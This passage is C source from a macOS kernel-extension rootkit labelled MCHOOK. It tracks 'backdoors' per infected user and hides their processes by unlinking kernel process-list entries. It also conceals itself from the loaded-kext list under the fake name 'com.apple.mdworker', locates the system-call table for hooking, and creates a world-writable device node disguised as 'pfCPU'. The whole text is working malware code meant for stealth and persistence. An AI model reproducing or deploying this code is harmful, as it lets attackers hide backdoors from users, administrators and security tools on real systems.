      if (g_reg_backdoors[i]->path_counter < MAX_PATH_ENTRIES) {
        strncpy((char *)g_reg_backdoors[i]->path[pcounter],
                dirname,
                MAX_DIRNAME_SIZE);
        
#ifdef DEBUG
        printf("[MCHOOK] DIR Hidden: %s\n", g_reg_backdoors[i]->path[pcounter]);
#endif
        g_reg_backdoors[i]->path_counter++;
#ifdef DEBUG
        printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors);
        printf("[MCHOOK] backdoor pathCounter: %d\n", 
               g_reg_backdoors[i]->path_counter);
#endif
      }
    }
  }
}

Boolean
backdoor_init(char *username, proc_t p)
{
  int _index      = 0;
  int i           = 0;
  int bd_index    = -1;
  Boolean result  = FALSE;
  
  if (g_registered_backdoors > 0) {
    // Let's see if the backdoor is already registered
    bd_index = get_bd_index(username, p->p_pid);
  }
  else {
#ifdef DEBUG
    printf("[MCHOOK] First backdoor, hooking\n");
#endif
  }
  
  switch (bd_index) {
    case -2:
#ifdef DEBUG
      printf("[MCHOOK] Already registered (same pid and is active) on init\n");
#endif
      break;
    case -1: {
#ifdef DEBUG
      printf("[MCHOOK] Backdoor not found on init\n");
#endif
      MALLOC(g_reg_backdoors[g_registered_backdoors],
             reg_backdoors_t *,
             sizeof(reg_backdoors_t),
             MK_MBUF,
             M_WAITOK);

      _index = g_registered_backdoors;
      g_registered_backdoors++;
      result = TRUE;
    } break;
    default: {
#ifdef DEBUG
      printf("[MCHOOK] Already registered user (dead bd) %d\n", bd_index);
#endif
      
      int numPath = g_reg_backdoors[bd_index]->path_counter;
      g_reg_backdoors[bd_index]->path_counter = 0;
      
      // Backdoor is already registered
      for (i = 0; i < numPath; i++) {
        memset(g_reg_backdoors[bd_index]->path[i], '\0', MAX_DIRNAME_SIZE);
      }
    
      _index = bd_index;
      result = TRUE;
    } break;
  }

  // Initialize the structure entry
  //g_reg_backdoors[_index]->path_counter   = 0;
  
  g_reg_backdoors[_index]->p              = p;
  /*g_reg_backdoors[_index]->pid            = p->p_pid;*/
  g_reg_backdoors[_index]->is_active      = 1;
  g_reg_backdoors[_index]->is_hidden      = 0;
  g_reg_backdoors[_index]->is_task_hidden = 0;
  g_reg_backdoors[_index]->is_proc_hidden = 0;
  
  strncpy(g_reg_backdoors[_index]->username, username, MAX_USER_SIZE);
  
#ifdef DEBUG
  printf("[MCHOOK] index (%d)\n", _index);
  printf("[MCHOOK] user (%s)\n", g_reg_backdoors[_index]->username);
#endif
  
  return result;
}

int remove_dev_entry()
{
  // Remove our device entry from /dev
    devfs_remove(devfs_handle);
    cdevsw_remove(major, &chardev);
  
  return 0;
}

void dealloc_meh(char *username, pid_t pid)
{
  int bd_index = -1;
  
  bd_index = get_active_bd_index(username, pid);
  if (bd_index != -1) {
    FREE(g_reg_backdoors[bd_index], MK_MBUF);
    /*g_reg_backdoors[z]->is_active = 0;*/
    /*g_reg_backdoors[z]->is_hidden = 0;*/
    /*g_reg_backdoors[z]->is_task_hidden = 0;*/
    /*g_reg_backdoors[z]->is_proc_hidden = 0;*/
    
    if (g_registered_backdoors > 0)
      g_registered_backdoors--;
  }
}

//
// Get the backdoor index among the active ones
//
int
get_active_bd_index(char *username, pid_t pid)
{
  int i  = 0;
  
  for (i = 0; i < g_registered_backdoors; i++) {
    if ((strncmp(username, g_reg_backdoors[i]->username, MAX_USER_SIZE) == 0)
        && g_reg_backdoors[i]->p->p_pid   == pid
        && g_reg_backdoors[i]->is_active  == 1) {
      return i;
    }
  }
  
  return -1;
}

//
// Get the backdoor index even if not active (but present in the array)
//
int
get_bd_index(char *username, pid_t pid)
{
  int i     = 0;
  int index = -1;

  for (; i < g_registered_backdoors; i++) {
    if (strncmp(g_reg_backdoors[i]->username, username, MAX_USER_SIZE) == 0) {
#ifdef DEBUG
      printf("[MCHOOK] User already infected, checking if active\n");
#endif
      if (g_reg_backdoors[i]->p->p_pid      == pid
          && g_reg_backdoors[i]->is_active  == 1) {
#ifdef DEBUG
        printf("[MCHOOK] Backdoor already registered and active\n");
#endif
        index = -2;
        break;
      }
      else {
#ifdef DEBUG
        printf("[MCHOOK] Backdoor already registered but not active\n");
#endif
        index = i;
        break;
      }
    }
  }

  return index;
}

int check_symbols_integrity()
{
  g_symbols_resolved = 0;

  if (i_allproc               != NULL
      && i_tasks              != NULL
      && i_nsysent            != NULL
      && i_kmod               != NULL
      && i_tasks_count        != NULL
      && i_nprocs             != NULL
      && i_tasks_threads_lock != NULL
      && i_proc_lock          != NULL
      && i_proc_unlock        != NULL
      && i_proc_list_lock     != NULL
      && i_proc_list_unlock   != NULL) {
    g_symbols_resolved = 1;
  }
  
  return g_symbols_resolved;
}

int is_leopard()
{
  if (g_os_major    == 10
      && g_os_minor == 5)
    return 1;
  
  return 0;
}

int is_snow_leopard()
{
  if (g_os_major    == 10
      && g_os_minor == 6)
    return 1;
  
  return 0;
}

int is_lion()
{
  if (g_os_major    == 10
      && g_os_minor == 7)
    return 1;
  
  return 0;
}

#pragma mark -
#pragma mark DKOM
#pragma mark -

int hide_proc_l(proc_t p, char *username, int bd_index)
{
  proc_t proc = NULL;
  
#ifdef DEBUG
  printf("[MCHOOK] Hiding Lion proc: %d\n", p->p_pid);
#endif

  i_proc_list_lock();
  
  //
  // Unlinking proc
  //
  LIST_FOREACH(proc, i_allproc, p_list) {
    if (proc->p_pid == p->p_pid) {
#ifdef DEBUG
      printf("[MCHOOK] pid %d found\n", p->p_pid);
#endif
      
      i_proc_lock(proc);
      
      LIST_REMOVE(proc, p_list);
      LIST_REMOVE(proc, p_hash);
      
      i_proc_unlock(proc);
      //(*i_nprocs)--;
      
#ifdef DEBUG
      printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
#endif
      
      g_reg_backdoors[bd_index]->is_proc_hidden = 1;
      break;
    }
  }
  
  i_proc_list_unlock();
  
  if (g_reg_backdoors[bd_index]->is_task_hidden     == 1
      || g_reg_backdoors[bd_index]->is_proc_hidden  == 1) {
#ifdef DEBUG
    printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[bd_index]->is_task_hidden);
    printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[bd_index]->is_proc_hidden);
#endif
    g_reg_backdoors[bd_index]->is_hidden = 1;
  }
  
  return 0;
}

int hide_proc(proc_t p, char *username, int backdoor_index)
{
  proc_t proc = NULL;
  //int _index  = 0;
  
#ifdef DEBUG
  printf("[MCHOOK] Hiding proc: %d\n", p->p_pid);
#endif
#if 0
  //
  // g_backdoor_current is not safe for 2 or more backdoors on the same machine
  // in which case we'll be calling get_active_bd_index
  //
  if (g_backdoor_current != -1) {
    if (g_reg_backdoors[g_backdoor_current]->isHidden == 1) {
#ifdef DEBUG
      printf("[MCHOOK] %d is already hidden\n", p->p_pid);
#endif
      
      return 0;
    }
  }
  else {
    if ((_index = get_active_bd_index(p, username)) != -1) {
      g_backdoor_current = _index;
    }
    else {
#ifdef DEBUG
      printf("[MCHOOK] hide_proc failed - backdoor not registered?!!\n");
#endif

      return -1;
    }
  }
#endif
#ifdef DEBUG
  printf("[MCHOOK] Be-hiding tasks count: %d\n", *i_tasks_count);
#endif
  /*
  if (g_os_major == 10 && g_os_minor == 5) {
    task_l_t task = p->task;
    
    //
    // Unlinking task
    //
    lck_mtx_lock(i_tasks_threads_lock);
    queue_remove(i_tasks, task, task_l_t, tasks);
    (*i_tasks_count)--;
    lck_mtx_unlock(i_tasks_threads_lock);
    
    g_reg_backdoors[backdoor_index]->isTaskHidden = 1;
  }
  else if (g_os_major == 10 && g_os_minor == 6) {
    task_t task = p->task;
    
    //
    // Unlinking task
    //
    lck_mtx_lock(i_tasks_threads_lock);
    queue_remove(i_tasks, task, task_t, tasks);
    (*i_tasks_count)--;
    lck_mtx_unlock(i_tasks_threads_lock);
    
    g_reg_backdoors[backdoor_index]->isTaskHidden = 1;
  }
  */
#ifdef DEBUG
  printf("[MCHOOK] Af-hiding tasks count: %d\n", *i_tasks_count);
#endif
  
  i_proc_list_lock();
  
  //
  // Unlinking proc
  //
  LIST_FOREACH(proc, i_allproc, p_list) {
    if (proc->p_pid == p->p_pid) {
#ifdef DEBUG
      printf("[MCHOOK] pid %d found\n", p->p_pid);
#endif
      
      i_proc_lock(proc);
      
      LIST_REMOVE(proc, p_list);
      LIST_REMOVE(proc, p_hash);
      
      i_proc_unlock(proc);
      //(*i_nprocs)--;
      
#ifdef DEBUG
      printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
#endif
      
      g_reg_backdoors[backdoor_index]->is_proc_hidden = 1;
      break;
    }
    
    //i_proc_unlock(proc);
  }
  
  i_proc_list_unlock();
  
  if (g_reg_backdoors[backdoor_index]->is_task_hidden     == 1
      || g_reg_backdoors[backdoor_index]->is_proc_hidden  == 1) {
#ifdef DEBUG
    printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[backdoor_index]->is_task_hidden);
    printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[backdoor_index]->is_proc_hidden);
#endif
    g_reg_backdoors[backdoor_index]->is_hidden = 1;
  }
  
  return 0;
}

int unhide_proc(proc_t p, int backdoor_index)
{
#ifdef DEBUG
  printf("[MCHOOK] Unhiding %d\n", p->p_pid);
#endif
  /*
  if (g_reg_backdoors[backdoor_index]->isTaskHidden == 1) {
    if (g_os_major == 10 && g_os_minor == 5) {
      task_l_t task = p->task;
      
      //
      // Link back our task entry
      //
      lck_mtx_lock(i_tasks_threads_lock);
      queue_enter(i_tasks, task, task_l_t, tasks);
      (*i_tasks_count)++;
      lck_mtx_unlock(i_tasks_threads_lock);
      
      g_reg_backdoors[backdoor_index]->isTaskHidden = 0;
    }
    else if (g_os_major == 10 && g_os_minor == 6) {
      task_t task = p->task;
      
      //
      // Link back our task entry
      //
      lck_mtx_lock(i_tasks_threads_lock);
      queue_enter(i_tasks, task, task_t, tasks);
      (*i_tasks_count)++;
      lck_mtx_unlock(i_tasks_threads_lock);
      
      g_reg_backdoors[backdoor_index]->isTaskHidden = 0;
    }
  }
  else {
#ifdef DEBUG
    printf("[MCHOOK] Skipping task unhide, not hidden\n");
#endif
  }
  */
  //
  // Link back our proc entry
  //
  if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
    i_proc_list_lock();
    LIST_INSERT_HEAD(i_allproc, p, p_list);
    //(*i_nprocs)++;
    i_proc_list_unlock();
    
    g_reg_backdoors[backdoor_index]->is_proc_hidden = 0;
  }
  else {
#ifdef DEBUG
    printf("[MCHOOK] Skipping proc unhide, not hidden\n");
#endif
  }
  
  g_reg_backdoors[backdoor_index]->is_hidden = 0;
  
#ifdef DEBUG
  printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
#endif
  
  return 0;
}

int unhide_all_procs()
{
#ifdef DEBUG
  printf("[MCHOOK] Unhiding all procs\n");
#endif
  
  int i  = 0;
  
  for (i = 0; i < g_registered_backdoors; i++) {
    if (g_reg_backdoors[i]->is_active    == 1
        && g_reg_backdoors[i]->is_hidden == 1) {
      unhide_proc(g_reg_backdoors[i]->p, i);
    }
  }
  
  return 0;
}


// TODO: 
// - replace ugly casts with a nice-looking struct
// - could be wise to acquire sKextLock
void hide_kext_osarray()
{
  unsigned char *code = (unsigned char *)kext_lookup_with_tag;

  if (g_kext_hidden != 0) {
#ifdef DEBUG
    printf("[MCHOOK] Kext already hidden\n");
    return;
#endif
  }
#ifdef DEBUG
    printf("[MCHOOK] Scanning for sLoadedKexts from %p\n", code);
#endif

  for (int i=0; i<0x50; i++) {
    if (code[i] == 0xe8) { // \xe8 == CALL NEAR
      // displacement, as well as sizeof(int), is 32bit on both x86 and x64
      unsigned int *displacement = (unsigned int *)&code[i+1];
      
      // sanity check, must point to a function prolog, \x55 is push [R|E]BP,
      // CALL NEAR is 5 bytes on both x86 and x64
      if (code[i+*displacement+5] == 0x55 ) {
        unsigned char *instruction = &code[i+5]; // skip to next instruction

#ifdef __LP64__
        // 0x48   is 64bit prefix
        // 0xx8b  is RIP relative MOV opcode
        // 5      is size of call instruction 
        // 7      size of MOV
        // 3      is offset of to displacement from MOV opcode

        if (*(unsigned short *)instruction == 0x8b48) {
          unsigned int _sLoadedKextDisplacement = *(unsigned int *)(instruction+3);
          _sLoadedKext = (char *)*(unsigned long *)((code + i + 5 + 7) + _sLoadedKextDisplacement);                   
          break;
        }
#else
        // on x86 we cannot rely on the single opcode 'cuz it's register-specific,
        // we could check for all the possible opcodes or just don't care
        _sLoadedKext = (unsigned char *)**(unsigned long **)(instruction+1);
#ifdef DEBUG
        printf("[MCHOOK] _sLoadedKext @ %08x\n", (unsigned int)_sLoadedKext);
#endif        
        break;
#endif 
      }
    } 
  }
  if (_sLoadedKext == NULL) {
#ifdef DEBUG
    printf("[MCHOOK] Cannot find _sLoadedKext!!!!!!\n");
#endif
    return;
  }

  unsigned int *kextsCount = (unsigned int *)&_sLoadedKext[OFFT_KEXT_COUNT];
#ifdef DEBUG
  printf("  [MCHOOK] Found _sLoadedKext %lx, with %d loaded count\n", (unsigned long)_sLoadedKext, *kextsCount);
#endif
  unsigned long *arrayPtr = (unsigned long *)*(unsigned long *)&_sLoadedKext[OFFT_KEXT_ARRAY];
  unsigned long *lastKext = (unsigned long *)arrayPtr[*kextsCount - 1];
  
  unsigned char *kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]);
  if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker"))
    {
        // if we're still the last loaded kext, 
        // then yeah, it's *that* easy
#ifdef DEBUG
        printf("[MCHOOK] mdworker is the last kext, decrementing OSArray counter\n");
#endif
        _sLoadedKext[OFFT_KEXT_COUNT]--;
        g_kext_hidden = 1;
    }
  else
    {
      // we're no moar the last loaded kext, we must
      // exchange a pointer then
#ifdef DEBUG
      printf("[MCHOOK] Not last kext, exchaning pointers with: %s\n", (char *)&kmod_info[OFFT_KMOD_NAME]);
#endif
      for (unsigned int i = 0; i<*kextsCount; i++)
        {
          lastKext = (unsigned long *)arrayPtr[i];
          kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]);
          
          if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker"))
            {
              arrayPtr[i] = arrayPtr[*kextsCount -1];
              _sLoadedKext[OFFT_KEXT_COUNT]--;
              
              g_kext_hidden = 1;
              break;
            }
        }
    }
    
    return;
}


// this is not used anymoar
void hide_kext_leopard()
{
  kmod_info_t *k, *prev_k;
  //char kext_name[]        = "com.revenge.kext.machooker";
  char kext_name[]        = "com.apple.mdworker";
  
  prev_k  = i_kmod;
  
  if (g_kext_hidden == 0) {
    for (k = i_kmod; k->next != NULL; k = k->next) {
      if (strncmp(k->name, kext_name, sizeof(kext_name)) == 0) {
        prev_k->next = prev_k->next->next;
        g_kext_hidden = 1;
        break;
      }
      
      prev_k = k;
    }
  }
  else {
#ifdef DEBUG
    printf("[MCHOOK] KEXT is already hidden\n");
#endif
  }
}

//
// Landon Fuller trick updated for SL support
//
static struct sysent
*find_sysent(os_version_t *os_ver)
{
  unsigned int table_size;
  struct sysent *table = NULL;
  
  table_size = sizeof(struct sysent) * (*i_nsysent);
  if (is_leopard() == 1) {
#ifdef DEBUG
    printf("[MCHOOK] find_sysent for leopard\n");
    printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
    table = (struct sysent *)(((char *)i_nsysent) + sizeof(int));
#if __i386__
    // +28 bytes, so far still reliable
    table = (struct sysent *)(((uint8_t *)table) + 28);
#endif
  }
  else if (is_snow_leopard() == 1) {
#ifdef DEBUG
    printf("[MCHOOK] find_sysent for snow leopard\n");
    printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
    uint32_t x;
    uint32_t size_of_block_to_search;
    
    x = 0;
    size_of_block_to_search = 0x100;
    
    table = (struct sysent *)((char *)i_nsysent);
#if __i386__
    //
    // -0x2850 bytes from nsysent
    // http://packetstormsecurity.org/papers/attack/osx1061sysent.txt
    //
    table = (struct sysent *)((char *)table - 0x2850);
    
    //
    // -0x60 bytes 10.6.4
    //
    table = (struct sysent *)((char *)table - size_of_block_to_search);
#ifdef DEBUG
    printf("[MCHOOK] Entering heuristic\n");
#endif
    
    char *ptr_to_table = (char *)table;
    
    for (x = 0; x <= size_of_block_to_search; x++) {
      table = (struct sysent *)ptr_to_table++;
      
      // Sanity check
      if (table[SYS_syscall].sy_narg    == 0 &&
          table[SYS_exit].sy_narg       == 1 &&
          table[SYS_fork].sy_narg       == 0 &&
          table[SYS_read].sy_narg       == 3 &&
          table[SYS_wait4].sy_narg      == 4 &&
          table[SYS_ptrace].sy_narg     == 4) {
#ifdef DEBUG
        printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x);
#endif

        return table;
      }
    }
#endif
  }
  else if (is_lion() == 1) {
#ifdef DEBUG
    printf("[MCHOOK] find_sysent for lion\n");
    printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
    uint32_t x;
    uint32_t size_of_block_to_search;
    
    x = 0;
    size_of_block_to_search = 0x100;
    
    table = (struct sysent *)((char *)i_nsysent);
#if __x86_64__
    //
    // -0x4498 bytes from nsysent
    // rev
    //
    table = (struct sysent *)((char *)table - 0x4498);
#ifdef DEBUG
    printf("[MCHOOK] table @ 0x%llx\n", (unsigned long long)table);
    printf("[MCHOOK] nsysent @ 0x%p\n", i_nsysent);
#endif
#else
#ifdef DEBUG
    printf("[MCHOOK] not ready for 32bit lion kernel\n");
#endif

    return NULL;
#endif
    
#ifdef DEBUG
    printf("[MCHOOK] Entering heuristic\n");
#endif
    
    char *ptr_to_table = (char *)table;
    for (x = 0; x <= size_of_block_to_search; x++) {
      table = (struct sysent *)ptr_to_table++;
      
      // Sanity check
      if (table[SYS_syscall].sy_narg    == 0 &&
          table[SYS_exit].sy_narg       == 1 &&
          table[SYS_fork].sy_narg       == 0 &&
          table[SYS_read].sy_narg       == 3 &&
          table[SYS_wait4].sy_narg      == 4 &&
          table[SYS_ptrace].sy_narg     == 4) {
#ifdef DEBUG
        printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x);
#endif
        return table;
      }
    }
  }

  if (table == NULL)
    return NULL;
  
#ifdef DEBUG
  printf("[MCHOOK] sysent@%p\n",  table);
#endif

  // Sanity check
  if (table[SYS_syscall].sy_narg    == 0 &&
      table[SYS_exit].sy_narg       == 1 &&
      table[SYS_fork].sy_narg       == 0 &&
      table[SYS_read].sy_narg       == 3 &&
      table[SYS_wait4].sy_narg      == 4 &&
      table[SYS_ptrace].sy_narg     == 4) {
#ifdef DEBUG
    printf("[MCHOOK] sysent sanity check succeeded\n");
#endif
    return table;
  }
  else {
#ifdef DEBUG
    printf("[MCHOOK] sanity check failed\n");
#endif
    
    return NULL;
  }
}

#pragma mark -
#pragma mark Start/Stop
#pragma mark -

kern_return_t
mchook_start (kmod_info_t *ki, void *d)
{
#ifdef DEBUG
  printf("[MCHOOK] Registering our device\n");
  printf("[MCHOOK] Size of NSUInteger: %ld\n", sizeof(NSUInteger));
#endif
  
  // Register our device in /dev
  major = cdevsw_add(major, &chardev);
  if (major == -1) {
#ifdef DEBUG
    printf("[MCHOOK] Error while registering the device node\n");
#endif
    return KERN_FAILURE;
  }
  
  devfs_handle = devfs_make_node(makedev(major, 0),
                                 DEVFS_CHAR,
                                 UID_ROOT,
                                 GID_WHEEL,
                                 0666,
                                 "pfCPU");
  
  if (!devfs_handle) {
#ifdef DEBUG
    printf("[MCHOOK] Error while creating the device node\n");
#endif
    return KERN_FAILURE;
  }
  
  return KERN_SUCCESS;
}

kern_return_t
mchook_stop (kmod_info_t *ki, void *d)
{
#ifdef DEBUG
  printf("[MCHOOK] KEXT stop called\n");
#endif
  
  if (g_registered_backdoors == 0) {
    if (remove_dev_entry() == 0) {
#ifdef DEBUG
      printf("[MCHOOK] KEXT unloaded correctly\n");
#endif
    }
    else {
#ifdef DEBUG
      printf("[MCHOOK] An error occurred while unloading KEXT\n");
#endif
    }
      
    remove_hooks();
  }
  
#ifdef DEBUG
  printf("[MCHOOK] Exiting, have phun dude\n");
#endif
  
  return KERN_SUCCESS;
}